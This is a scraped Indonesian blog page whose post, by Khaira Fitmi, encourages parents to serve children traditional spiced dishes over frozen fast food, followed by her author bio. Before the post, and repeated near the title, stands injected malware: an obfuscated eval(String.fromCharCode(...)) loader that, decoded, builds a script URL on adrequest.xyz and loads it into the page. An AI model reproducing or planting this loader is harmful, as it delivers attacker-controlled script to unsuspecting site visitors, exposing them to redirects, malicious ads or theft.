var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); ‘Healthy Food, Traditional Food?” – KelasKayu var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 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‘Healthy Food, Traditional Food?”

Semua orang tua sadar dan mengetahui  secara teori bahwa anak-anak atau remaja membutuhkan makanan yang sehat yang memiliki nutrisi atau kandungan gizi yang baik untuk tumbuh dan berkembang. Kebutuhan akan protein, karbohidrat, mineral, vitamin dan lainnya tentu akan berbeda disetiap usia.

Pada prakteknya akan berbeda, benar kan?

Teori akan berbeda dengan realita jenis makanan yang disantap anak-anak kita.

Kesibukan atau kerepotan lainnya akan  menjadi alasan untuk tidak menyajikan atau memasak sesuai teori, maka para momi lebih sering memperkenalkan frozen food ke anak-anak mereka, karena sangat mudah didapat dan sederhana dalam penyajian, tinggal digoreng  dan siap disajikan.

Anak-anak terbiasa dan menjadi suka dengan makanan cepat saji karena tidak ada pilihan lain. Jadilah mereka generasi instan, tanpa pernah mencicipi rasa yang berbeda. Mungkin mereka bertanya-tanya dalam hati, apa itu pindang ikan patin, ikan tuna, ikan emas dan lainnya.

Makanan tradisional kita sangat kaya rasa dengan rempah-rempahnya, tapi sangat sulit menemukan anak-anak yang menyukainya, karena orang tuanya jarang atau tidak pernah mengenalkan alternatif makanan tradisional sehat lainnya.

Mereka menjadi generasi instan yang bangga dengan makanan siap saji. Lidahnya menjadi berbeda.

Mungkin suatu hari mereka akan menjadi asing dengan pindang patin atau gurame. Padahal makanan ini sehat dan segar  apalagi disajikan hangat, kalau masalah pedas atau tidak, bisa diatur sesuai selera.

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Khaira Fitmi

I am a facilitator, Trainer in Sekolah Alam Indonesia. Manager of Green Voices, Member of School Board (DS) and Head Of HRD. I love singing and composing the Educative Children Songs : SAI Album. I love Reading and WRITING. I am also a happy and Long life Learner Mom. "Never too LATE to learn to ride and WRITE".

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